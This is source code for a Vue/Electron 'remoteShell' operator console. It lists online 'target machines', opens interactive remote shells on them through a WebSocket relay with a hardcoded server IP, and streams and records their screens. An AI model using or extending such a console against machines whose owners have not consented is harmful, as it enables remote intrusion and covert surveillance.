  3 |     <el-card class="box-card" style="height: 80vh; overflow: auto">
  4 |       <div slot="header" class="clearfix">
  5 |         <div
  6 |           style="
  7 |             display: flex;
  8 |             justify-content: space-between;
  9 |             align-items: center;
 10 |           "
 11 |         >
 12 |           <span>目标机器在线列表</span>
 13 | 
 14 |           <el-button
 15 |             style="float: right; padding: 3px 0"
 16 |             type="text"
 17 |             @click="loadData(), $message.success('刷新成功')"
 18 |             >刷新数据</el-button
 19 |           >
 20 |         </div>
 21 |       </div>
 22 |       <div v-if="tableData.length == 0">
 23 |         <div
 24 |           style="
 25 |             display: flex;
 26 |             align-items: center;
 27 |             justify-content: center;
 28 |             height: 60vh;
 29 |             flex-direction: column;
 30 |           "
 31 |         >
 32 |           <img
 33 |             src="../../assets/empty.png"
 34 |             style="width: 200px; object-fit: contain"
 35 |           />
 36 |           <div>暂无目标机器在线</div>
 37 |         </div>
 38 |       </div>
 39 |       <div v-for="item in tableData" :key="item.room" class="text item">
 40 |         <el-card shadow="hover" style="margin-top: 10px; cursor: pointer">
 41 |           <div
 42 |             style="
 43 |               display: flex;
 44 |               justify-content: space-between;
 45 |               align-items: center;
 46 |             "
 47 |             @click="rowClick(item)"
 48 |           >
 49 |             <div style="display: flex; align-items: center">
 50 |               <img
 51 |                 :src="IconList[item.os]"
 52 |                 alt=""
 53 |                 srcset=""
 54 |                 style="width: 2em; object-fit: contain; margin-right: 10px"
 55 |               />
 56 |               {{ item.room }}
 57 |             </div>
 58 |             <div>
 59 |               <el-input
 60 |                 v-model="item.note"
 61 |                 auto-complete="off"
 62 |                 style="width: 400px"
 63 |                 :placeholder="item.note"
 64 |                 @click.stop.native=""
 65 |               >
 66 |                 <el-button
 67 |                   slot="append"
 68 |                   icon="el-icon-edit"
 69 |                   @click="submitForm(item)"
 70 |                 ></el-button>
 71 |               </el-input>
 72 |             </div>
 73 |           </div>
 74 |         </el-card>
 75 |       </div>
 76 |     </el-card>
 77 |   </div>
 78 | </template>
 79 | 
 80 | <script>
 81 | import { RoomList, updateNote } from "@/api/info";
 82 | export default {
 83 |   name: "Index",
 84 |   data() {
 85 |     return {
 86 |       showUpdateFormVisible: false,
 87 |       title: "",
 88 |       note: "",
 89 |       //列表数据
 90 |       tableData: [],
 91 |       ipaddr: "",
 92 |       path: "",
 93 |       IconList: {
 94 |         win32: require("@/assets/windows.png"),
 95 |         darwin: require("@/assets/mac.png"),
 96 |         linux: require("@/assets/linux.png"),
 97 |       },
 98 |       current_time: "00:00",
 99 |       total_time: "10:00",
100 |       recordScreenFlag: false,
101 |       recordScreenPause: true,
102 |       timer: "",
103 |       minute: 0,
104 |       ms: 0,
105 |       second: 0, //秒
106 |       percentage: 0,
107 |       count: 0,
108 |       stopIcon: require("@/assets/stop.png"),
109 |     };
110 |   },
111 |   created() {
112 |     this.path = this.$route.query.path ? this.$route.query.path : "shell";
113 |     this.ipaddr = localStorage.getItem("ipaddr")
114 |       ? localStorage.getItem("ipaddr")
115 |       : "101.34.204.112:7880";
116 |     this.loadData();
117 |   },
118 | 
119 |   methods: {
120 |     // 切换页
121 |     handleCurrentChange(currentPage) {
122 |       this.page = currentPage;
123 |       this.loadData();
124 |     },
125 |     loadData() {
126 |       RoomList({
127 |         page: this.page,
128 |         limit: 10,
129 |       })
130 |         .then((res) => {
131 |           var tableData = [];
132 |           tableData = res.data;
133 |           this.tableData = tableData.filter((value) => {
134 |             return value.state;
135 |           });
136 |         })
137 |         .catch((error) => {
138 |           this.tableData = [];
139 |           this.$message.error(error);
140 |         });
141 |     },
142 |     submitForm(row) {
143 |       if (row.note == "") {
144 |         return this.$message.warning("备注不能为空!!!");
145 |       }
146 |       //编辑
147 |       updateNote({ room: row.room, note: row.note }).then((res) => {
148 |         if (res.code == 0) {
149 |           this.$message.success("修改成功!!!");
150 |           this.loadData();
151 |           this.showUpdateFormVisible = false;
152 |         } else {
153 |           this.$message.error(res.message);
154 |         }
155 |       });
156 |     },
157 |     rowClick(row) {
158 |       if (this.path == "screen" && row.os == "linux") {
159 |         return this.$message.warning("目前不支持linux");
160 |       }
161 |       this.$router.push({
162 |         path: this.path,
163 |         query: {
164 |           roomID: row.room,
165 |           username: row.room,
166 |           outputFileType: this.path,
167 |         },
168 |       });
169 |     },
170 |     /**
171 |      * 弹窗相关操作
172 |      */
173 |     resetPublisherForm() {
174 |       this.fordata = {
175 |         id: "",
176 |         room: "",
177 |         note: "",
178 |       };
179 |     },
180 |     openUpdatePublisherDialog(row) {
181 |       this.fordata = row;
182 |       this.showUpdateFormVisible = true;
183 |       this.title = "编辑房间";
184 |     },
185 |     updateServerIp() {
186 |       if (!this.ipaddr) {
187 |         this.$message.warning("服务器地址不能为空");
188 |         return;
189 |       }
190 |       localStorage.setItem("ipaddr", this.ipaddr);
191 |       this.$message.success("修改成功,即将刷新页面");
192 |       setTimeout(() => {
193 |         window.location.reload();
194 |       }, 1500);
195 |     },
196 | 
197 |     timeStart() {
198 |       this.recordScreenFlag = true;
199 |       this.timer = setInterval(this.recordScreen, 1000);
200 |     },
201 |     ToggleStatus() {
202 |       if (this.recordScreenPause) {
203 |         clearInterval(this.timer);
204 |       } else {
205 |         this.timer = setInterval(this.recordScreen, 1000);
206 |       }
207 |       this.recordScreenPause = !this.recordScreenPause;
208 |     },
209 |     stopRecordScreen() {
210 |       clearInterval(this.timer);
211 |       this.current_time = "00:00";
212 |       this.recordScreenPause = false;
213 |       this.recordScreenFlag = false;
214 |     },
215 |     recordScreen() {
216 |       this.count += 1;
217 |       this.percentage = Math.floor((this.count / 600) * 100);
218 |       this.second = this.second + 1; //秒
219 |       if (this.second >= 60) {
220 |         this.second = 0;
221 |         this.minute = this.minute + 1; //分钟
222 |       }
223 |       this.current_time =
224 |         this.toDub(this.minute) + ":" + this.toDub(this.second);
225 |     },
226 |     toDub(n) {
227 |       //补0操作
228 |       if (n < 10) {
229 |         return "0" + n;
230 |       } else {
231 |         return "" + n;
232 |       }
233 |     },
234 |   },
235 |   destroyed() {
236 |     clearInterval(this.timer);
237 |   },
238 | };
239 | </script>
240 | 
241 | <style scoped>
242 | ::v-deep .el-range-separator {
243 |   padding: 0px;
244 | }
245 | ::v-deep .el-input__inner {
246 |   border-radius: 0px;
247 | }
248 | .demo-table-expand {
249 |   font-size: 0;
250 | }
251 | .demo-table-expand label {
252 |   width: 90px;
253 |   color: #99a9bf;
254 | }
255 | .demo-table-expand .el-form-item {
256 |   margin-right: 0;
257 |   margin-bottom: 0;
258 |   width: 50%;
259 | }
260 | ::v-deep .el-form-item__label {
261 |   font-size: 18px;
262 | }
263 | .dialog-footer {
264 |   display: flex;
265 |   width: 100%;
266 |   justify-content: flex-end;
267 | }
268 | </style>
269 | 


--------------------------------------------------------------------------------
/src/views/screen/index.vue:
--------------------------------------------------------------------------------
  1 | <!--
  2 |  * @Description: 
  3 |  * @Version: 1.0
  4 |  * @Autor: solid
  5 |  * @Date: 2022-10-31 10:01:01
  6 |  * @LastEditors: solid
  7 |  * @LastEditTime: 2022-11-11 17:09:50
  8 | -->
  9 | <template>
 10 |   <div>
 11 |     <el-card class="box-card" style="height: 80vh; overflow: auto">
 12 |       <div slot="header" class="clearfix">
 13 |         <div
 14 |           style="
 15 |             display: flex;
 16 |             justify-content: space-between;
 17 |             align-items: center;
 18 |           "
 19 |         >
 20 |           <span>实时监控</span>
 21 | 
 22 |           <div style="display: flex; align-items: center">
 23 |             <div style="width: 400px">
 24 |               <el-progress
 25 |                 :text-inside="true"
 26 |                 :stroke-width="18"
 27 |                 :percentage="percentage"
 28 |                 status="success"
 29 |               ></el-progress>
 30 |             </div>
 31 |             <div style="margin: 0 20px">
 32 |               {{ current_time }}/{{ total_time }}
 33 |             </div>
 34 |             <div
 35 |               v-if="recordScreenFlag"
 36 |               style="display: flex; align-items: center"
 37 |             >
 38 |               <i
 39 |                 :class="
 40 |                   recordScreenPause
 41 |                     ? 'el-icon-video-pause'
 42 |                     : 'el-icon-video-play'
 43 |                 "
 44 |                 style="color: blue; font-size: 20px; cursor: pointer"
 45 |                 @click="ToggleStatus"
 46 |               ></i>
 47 |               <img
 48 |                 :src="stopIcon"
 49 |                 @click="stopRecordScreen"
 50 |                 style="
 51 |                   width: 1.25rem;
 52 |                   object-fit: contain;
 53 |                   margin-left: 10px;
 54 |                   cursor: pointer;
 55 |                 "
 56 |               />
 57 |             </div>
 58 |             <div v-else>
 59 |               <el-button type="text" @click="timeStart">开始录制</el-button>
 60 |             </div>
 61 |           </div>
 62 |         </div>
 63 |       </div>
 64 |       <div>
 65 |         <img :src="screen" alt="" style="width: 70%; object-fit: cover" />
 66 |       </div>
 67 |     </el-card>
 68 |   </div>
 69 | </template>
 70 | <script>
 71 | const fs = window.require("fs");
 72 | const util = window.require("util");
 73 | const exec = util.promisify(window.require("child_process").exec);
 74 | export default {
 75 |   name: "Screen",
 76 |   created() {
 77 |     var room = this.$route.query.roomID;
 78 |     var ipaddr = localStorage.getItem("ipaddr")
 79 |       ? localStorage.getItem("ipaddr")
 80 |       : "101.34.204.112:7880";
 81 |     this.socketURI = `ws://${ipaddr}/screen?room=${room}`;
 82 |   },
 83 |   data() {
 84 |     return {
 85 |       socketURI: "",
 86 |       screen: "",
 87 |       current_time: "00:00",
 88 |       total_time: "10:00",
 89 |       recordScreenFlag: false,
 90 |       recordScreenPause: true,
 91 |       timer: "",
 92 |       minute: 0,
 93 |       ms: 0,
 94 |       second: 0, //秒
 95 |       percentage: 0,
 96 |       count: 0,
 97 |       stopIcon: require("@/assets/stop.png"),
 98 |       imgList: [],
 99 |     };
100 |   },
101 |   mounted() {
102 |     this.initSocket();
103 |   },
104 | 
105 |   destroyed() {
106 |     this.socket.close();
107 |     clearInterval(this.timer);
108 |   },
109 |   methods: {
110 |     initSocket() {
111 |       this.socket = new WebSocket(this.socketURI);
112 |       this.socketOnOpen();
113 |       this.socketOnMessage();
114 |       this.socketOnError();
115 |       this.socketOnClose();
116 |     },
117 |     socketOnOpen() {
118 |       this.socket.onopen = () => {
119 |         this.socket.send("connect");
120 |       };
121 |     },
122 |     socketOnMessage() {
123 |       this.socket.onmessage = (res) => {
124 |         if (this.recordScreenFlag && this.recordScreenPause) {
125 |           const reader = new FileReader();
126 |           reader.readAsArrayBuffer(res.data);
127 |           reader.onload = (e) => {
128 |             this.imgList.push(reader.result);
129 |           };
130 |         }
131 |         const url = window.URL.createObjectURL(res.data);
132 |         this.screen = url;
133 |       };
134 |     },
135 |     socketOnClose() {
136 |       this.socket.onclose = () => {
137 |         console.log("close socket");
138 |       };
139 |     },
140 |     socketOnError() {
141 |       this.socket.onerror = () => {
142 |         console.log("socket 链接失败");
143 |       };
144 |     },
145 |     toBuffer(ab) {
146 |       var buf = Buffer.alloc(ab.byteLength);
147 |       var view = new Uint8Array(ab);
148 |       for (var i = 0; i < buf.length; ++i) {
149 |         buf[i] = view[i];
150 |       }
151 |       return buf;
152 |     },
153 |     async rmdir(dir) {
154 |       await exec(`rd /s /q "${dir}"`);
155 |     },
156 |     /**录制 */
157 |     async img_to_video() {
158 |       if (fs.existsSync("./video")) {
159 |         await this.rmdir("./video");
160 |       }
161 |       fs.mkdirSync("./video");
162 |       this.imgList.forEach((value, index) => {
163 |         var fileName = `./video/${index}.png`;
164 |         fs.writeFileSync(fileName, this.toBuffer(value));
165 |       });
166 |       const time = this.imgList.length.toString();
167 |       await exec(
168 |         `ffmpeg.exe -r 1 -f image2 -i ./video/%d.png -t ${time} ./video/video.mp4`
169 |       );
170 |       var data = fs.readFileSync("./video/video.mp4");
171 |       var aTag = document.createElement("a");
172 |       aTag.download = `${new Date().getTime()}`;
173 |       aTag.href = URL.createObjectURL(
174 |         new Blob([data.buffer], { type: "video/mp4" })
175 |       );
176 |       aTag.click();
177 |       await this.rmdir("./video");
178 |     },
179 |     timeStart() {
180 |       this.recordScreenFlag = true;
181 |       this.timer = setInterval(this.recordScreen, 1000);
182 |     },
183 |     ToggleStatus() {
184 |       if (this.recordScreenPause) {
185 |         clearInterval(this.timer);
186 |       } else {
187 |         this.timer = setInterval(this.recordScreen, 1000);
188 |       }
189 |       this.recordScreenPause = !this.recordScreenPause;
190 |     },
191 |     async stopRecordScreen() {
192 |       clearInterval(this.timer);
193 |       this.current_time = "00:00";
194 |       this.recordScreenPause = true;
195 |       this.recordScreenFlag = false;
196 |       await this.img_to_video();
197 |       this.imgList = [];
198 |       this.percentage = 0;
199 |     },
200 |     recordScreen() {
201 |       this.count += 1;
202 |       this.percentage = Math.floor((this.count / 600) * 100);
203 |       this.second = this.second + 1; //秒
204 |       if (this.second >= 60) {
205 |         this.second = 0;
206 |         this.minute = this.minute + 1; //分钟
207 |       }
208 |       this.current_time =
209 |         this.toDub(this.minute) + ":" + this.toDub(this.second);
210 |     },
211 |     toDub(n) {
212 |       //补0操作
213 |       if (n < 10) {
214 |         return "0" + n;
215 |       } else {
216 |         return "" + n;
217 |       }
218 |     },
219 |   },
220 | };
221 | </script>
222 | <style lang="scss">
223 | </style>
224 | 


--------------------------------------------------------------------------------
/src/views/shell/index.vue:
--------------------------------------------------------------------------------
  1 | <!--
  2 |  * @Description: 
  3 |  * @Version: 1.0
  4 |  * @Autor: solid
  5 |  * @Date: 2022-10-31 10:01:01
  6 |  * @LastEditors: solid
  7 |  * @LastEditTime: 2022-11-11 17:27:53
  8 | -->
  9 | <template>
 10 |   <div>
 11 |     <div id="xterm" class="xterm" />
 12 |   </div>
 13 | </template>
 14 | <script>
 15 | import "xterm/css/xterm.css";
 16 | import { Terminal } from "xterm";
 17 | import { FitAddon } from "xterm-addon-fit";
 18 | import { AttachAddon } from "xterm-addon-attach";
 19 | 
 20 | export default {
 21 |   name: "Xterm",
 22 |   created() {
 23 |     var room = this.$route.query.roomID;
 24 |     var ipaddr = localStorage.getItem("ipaddr")
 25 |       ? localStorage.getItem("ipaddr")
 26 |       : "101.34.204.112:7880";
 27 |     this.socketURI = `ws://${ipaddr}/ws?room=${room}`;
 28 |   },
 29 |   data() {
 30 |     return {
 31 |       socketURI: "",
 32 |       windowWidth: document.documentElement.clientWidth, //实时屏幕宽度
 33 |       windowHeight: document.documentElement.clientHeight, //实时屏幕高度
 34 |     };
 35 |   },
 36 |   mounted() {
 37 |     this.initSocket();
 38 |     window.onresize = () => {
 39 |       return (() => {
 40 |         window.fullHeight = document.documentElement.clientHeight;
 41 |         window.fullWidth = document.documentElement.clientWidth;
 42 |         this.windowHeight = window.fullHeight; // 高
 43 |         this.windowWidth = window.fullWidth; // 宽
 44 |       })();
 45 |     };
 46 |   },
 47 |   destroyed() {
 48 |     this.socket.close();
 49 |     this.term.dispose();
 50 |   },
 51 |   watch: {
 52 |     windowHeight(val) {
 53 |       var rows = Math.floor(this.windowHeight / 23);
 54 |       var cols = Math.floor(this.windowWidth / 13);
 55 |       console.log(rows, cols);
 56 |       this.term.resize(cols, rows);
 57 |     },
 58 |     windowWidth(val) {
 59 |       var rows = Math.floor(this.windowHeight / 23);
 60 |       var cols = Math.floor(this.windowWidth / 13);
 61 |       this.term.resize(cols, rows);
 62 |     },
 63 |   },
 64 |   methods: {
 65 |     initTerm() {
 66 |       var rows = Math.floor(this.windowHeight / 23);
 67 |       var cols = Math.floor(this.windowWidth / 13);
 68 |       const term = new Terminal({
 69 |         rendererType: "canvas",
 70 |         rows: rows,
 71 |         cols: cols,
 72 |         fontSize: 16,
 73 |         cursor_style: "block",
 74 |         cursorBlink: true,
 75 |         theme: {
 76 |           foreground: "#ECECEC", //字体
 77 |           background: "#000000", //背景色
 78 |           cursor: "help", //设置光标
 79 |           lineHeight: 20,
 80 |         },
 81 |       });
 82 | 
 83 |       const attachAddon = new AttachAddon(this.socket);
 84 |       const fitAddon = new FitAddon();
 85 | 
 86 |       let connectTabElement = document.getElementById("xterm");
 87 |       term.open(connectTabElement);
 88 |       term.loadAddon(attachAddon);
 89 |       term.loadAddon(fitAddon);
 90 |       fitAddon.fit();
 91 |       term.focus();
 92 |       this.term = term;
 93 |     },
 94 |     initSocket() {
 95 |       this.socket = new WebSocket(this.socketURI);
 96 |       this.socketOnClose();
 97 |       this.socketOnOpen();
 98 |       this.socketOnError();
 99 |     },
100 |     socketOnOpen() {
101 |       this.socket.onopen = () => {
102 |         this.socket.send("connect");
103 |         // 链接成功后
104 |         this.initTerm();
105 |       };
106 |     },
107 |     socketOnClose() {
108 |       this.socket.onclose = () => {
109 |         // console.log('close socket')
110 |       };
111 |     },
112 |     socketOnError() {
113 |       this.socket.onerror = () => {
114 |         // console.log('socket 链接失败')
115 |       };
116 |     },
117 |   },
118 | };
119 | </script>
120 | <style lang="scss">
121 | </style>
122 | 


--------------------------------------------------------------------------------
/vue.config.js:
--------------------------------------------------------------------------------
 1 | /*
 2 |  * @Description: 
 3 |  * @Version: 1.0
 4 |  * @Autor: solid
 5 |  * @Date: 2022-08-12 14:51:35
 6 |  * @LastEditors: solid
 7 |  * @LastEditTime: 2022-11-10 18:31:52
 8 |  */
 9 | // const path = require('path')
10 | // const fs = require('fs')
11 | module.exports = {
12 |     devServer: {
13 |         port: "8888",
14 |         // open: true,
15 |         // https: {
16 |         //     cert: fs.readFileSync(path.join(__dirname, 'src/ssl/server.crt')),
17 |         //     key: fs.readFileSync(path.join(__dirname, 'src/ssl/server.key'))
18 |         // },
19 |         overlay: {
20 |             warnings: false,
21 |             errors: true
22 |         },
23 |         headers: {
24 |             "Cross-Origin-Embedder-Policy": "require-corp",
25 |             "Cross-Origin-Opener-Policy": "same-origin",
26 |         },
27 |     },
28 |     pluginOptions: {
29 |         electronBuilder: {
30 |             builderOptions: {
31 |                 nsis: {
32 |                     allowToChangeInstallationDirectory: true,
33 |                     oneClick: false,
34 |                     installerIcon: "./src/assets/logo.ico",  //安装logo
35 |                     installerHeaderIcon: "./src/assets/logo.ico", //安装logo
36 |                     "guid": "xxxx",
37 |                     "perMachine": true,
38 |                     "allowElevation": true,
39 |                     "createDesktopShortcut": true,
40 |                     "createStartMenuShortcut": true,
41 |                     "shortcutName": "remote"
42 |                 },
43 |                 "compression": "maximum", //压缩
44 |                 "asar": true,
45 |                 "directories": {
46 |                     "output": "build", //打包后指定目录
47 |                 },
48 |                 electronDownload: {
49 |                     mirror: "https://npm.taobao.org/mirrors/electron/" //镜像设置
50 |                 },
51 |                 win: {
52 |                     icon: './src/assets/logo.ico',
53 |                     "target": [
54 |                         {
55 |                             "target": "portable",  //分块打包
56 |                             "arch": [
57 |                                 "x64", //64位
58 |                                 // "ia32" //32位
59 |                             ],
60 | 
61 |                         }
62 |                     ],
63 | 
64 | 
65 |                 },
66 |                 productName: "remoteShell",  //应用的名称
67 |             },
68 |             // nodeIntegration: true,
69 |         }
70 |     }
71 | }
72 | 


--------------------------------------------------------------------------------